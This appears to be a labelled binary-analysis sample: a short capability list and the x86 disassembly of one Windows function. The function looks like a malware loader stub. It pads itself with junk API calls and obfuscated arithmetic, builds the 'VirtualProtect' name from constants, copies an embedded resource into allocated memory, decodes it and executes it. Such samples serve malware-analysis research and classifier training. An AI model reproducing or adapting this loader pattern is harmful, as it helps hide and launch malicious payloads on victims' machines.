Function at 0x1001000
Capabilities:
Get system information on windows
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x1014008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp - 0x14], 0x159
push ebx
push esi
push edi
jne 0x1001120
mov ecx, 0x1014888
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001030
sub ecx, edx
cmp ecx, 0x216
jbe 0x1001120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
push 0
push 0
push 0
call ebx
mov edi, dword [sym.imp.USER32.dll_ShowScrollBar]
push 0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetScrollRange]
mov esi, dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push 0x100e1a0
push str.zexoruyosudefocegini.txt
call fcn.010035ba
push 0
push 0
mov dword [ebp - 0xe0], 0
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0
call fcn.010034d1
push 0
call fcn.010034dc
add esp, 0x14
lea ecx, [ebp - 0xe0]
call fcn.010017e0
xor esi, esi
mov dword [ebp - 0x98], 0x79161eda
mov bl, 1
mov dword [ebp - 0x9c], 0x758f95b9
mov dword [ebp - 0xb4], 0x182074b5
mov dword [ebp - 0xa0], 0x2d1e3630
mov dword [ebp - 0xa4], 0x23b06e5
mov dword [ebp - 0xb8], 0x2d700d8a
mov dword [ebp - 0xac], 0x7fdaae97
mov dword [ebp - 0xbc], 0x3ccd8a17
mov dword [ebp - 0xc4], 0x7dedc281
mov dword [ebp - 0xc8], 0x1e5cede2
mov dword [ebp - 0xa8], 0x7d23e929
mov dword [ebp - 0xd0], 0x42c69395
mov dword [ebp - 0xcc], 0x594810db
sub dword [ebp - 0x98], 0x4d8f3e6f
add dword [ebp - 0x98], 0x5b7d77f
add dword [ebp - 0x98], 0xb2d4fc5
sub dword [ebp - 0x98], 0x2dd12861
sub dword [ebp - 0x9c], 0x264fe03a
add dword [ebp - 0x9c], 0x7ae9388d
sub dword [ebp - 0x98], 0x5516437e
add dword [ebp - 0x98], 0x6c287441
sub dword [ebp - 0x98], 0x7b14ec59
sub dword [ebp - 0x9c], 0x34dcdc3c
sub dword [ebp - 0xb4], 0x72294f23
sub dword [ebp - 0x98], 0x455463e9
add dword [ebp - 0x98], 0x78b64d5d
add dword [ebp - 0xb4], 0x6511070b
add dword [ebp - 0xa0], 0x1a073557
add dword [ebp - 0xa4], 0x5a1a7948
sub dword [ebp - 0xa4], 0x4daf8442
add dword [ebp - 0x9c], 0x60a7e8c5
sub dword [ebp - 0xa0], 0x7d1774bd
add dword [ebp - 0xa0], 0x47fab4e1
sub dword [ebp - 0x9c], 0x5f1a499d
add dword [ebp - 0xb8], 0x537a1428
sub dword [ebp - 0x98], 0x5db5c758
add dword [ebp - 0x98], 0x72cad8e6
sub dword [ebp - 0x98], 0x3a1a289b
add dword [ebp - 0xa4], 0x69e7d08f
add dword [ebp - 0xa0], 0x1c908004
sub dword [ebp - 0xa0], 0x557b7a38
add dword [ebp - 0x9c], 0x7620fff8
add dword [ebp - 0x9c], 0x7b83dfbd
add dword [ebp - 0xc4], 0x3f9dfa39
add dword [ebp - 0xbc], 0x75af275a
sub dword [ebp - 0xac], 0x1ed39641
add dword [ebp - 0xb8], 0x75f7f8e0
sub dword [ebp - 0xac], 0x698421d7
sub dword [ebp - 0xc8], 0x7ec4d0dd
sub dword [ebp - 0xa8], 0xbd5d572
sub dword [ebp - 0xbc], 0x5859ba77
sub dword [ebp - 0xa4], 0x3aa43ac
sub dword [ebp - 0xa8], 0x7dae0bce
add dword [ebp - 0x98], 0x5df05214
add dword [ebp - 0xcc], 0x1a6f4f94
add dword [ebp - 0x9c], 0x653d86ba
add dword [ebp - 0xa8], 0x105bbb09
add dword [ebp - 0xac], 0x317dcecb
sub dword [ebp - 0xd0], 0x68f9af09
add dword [ebp - 0xa4], 0x373c96f5
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test bl, bl
je 0x10013cd
lea eax, [ebp - 0x54]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp esi, 0x18364c
jle 0x10013af
xor ecx, ecx
movzx ebx, bl
cmp eax, 0x7f7c
cmovne ebx, ecx
cmp dword [0x1014884], 0
jne 0x10013c4
push str.kernel32.dll
call edi
mov dword [0x1014884], eax
inc esi
cmp esi, 0x8b9a6f96
jb 0x1001382
mov ebx, dword [sym.imp.KERNEL32.dll_GetCPInfo]
xor esi, esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
nop dword [eax + eax]
lea eax, [ebp - 0x18]
push eax
push 0
call ebx
lea eax, [ebp - 0xf0]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
lea eax, [ebp - 0x94]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCommProperties]
lea eax, [ebp - 0xdc]
push eax
call dword [sym.imp.USER32.dll_GetCaretPos]
lea eax, [ebp - 0x54]
push eax
push 0
call edi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp esi, 0x24bc5
jle 0x1001465
cmp dword [ebp - 0x18], 0x23b74f
je 0x1001465
cmp dword [ebp - 0x80], 0x20f2f989
je 0x1001465
cmp dword [ebp - 0xdc], 0x1f9d86e7
je 0x1001465
cmp dword [ebp - 0x34], 0x1d47b417
je 0x1001465
cmp dword [ebp - 0xfc], 0x20f4df5b
jne 0x1001476
add esi, 2
cmp esi, 0x23b972
jl 0x10013e0
jmp 0x1001483
push 0xc81c50
call fcn.010034e7
add esp, 4
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb0], 0x45d8
push dword [ebp - 0xb0]
mov eax, dword [section..data]
push 0
mov dword [ebp - 0xe8], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xec], edi
mov dword [ebp - 0xd4], resource.0
mov eax, dword [ebp - 0xd4]
mov ecx, 0x1014888
mov dword [ebp - 0xe4], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10014e0
sub ecx, edx
push ecx
push 0
push 0x1014888
call fcn.01002920
add esp, 0xc
mov dword [0x1014888], 0x74726956
mov dword [0x101488c], 0x506c6175
mov dword [0x1014890], 0x65746f72
mov word [0x1014894], 0x7463
mov dword [ebp - 0xc0], 0x10
add dword [ebp - 0xc0], 0x10
xor esi, esi
cmp dword [ebp - 0xb0], esi
jbe 0x1001574
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0xe4]
mov al, byte [esi + eax]
mov byte [esi + edi], al
cmp esi, 0xa
jne 0x100156b
lea eax, [ebp - 0xd8]
push eax
mov eax, dword [ebp - 0xc0]
add eax, eax
push eax
push dword [ebp - 0xb0]
push edi
call ebx
inc esi
cmp esi, dword [ebp - 0xb0]
jb 0x1001541
push dword [ebp - 0xe8]
lea eax, [ebp - 0xb0]
push eax
push edi
call fcn.01001680
add esp, 0xc
call dword [ebp - 0xec]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.010018a3
mov esp, ebp
pop ebp
ret 0x10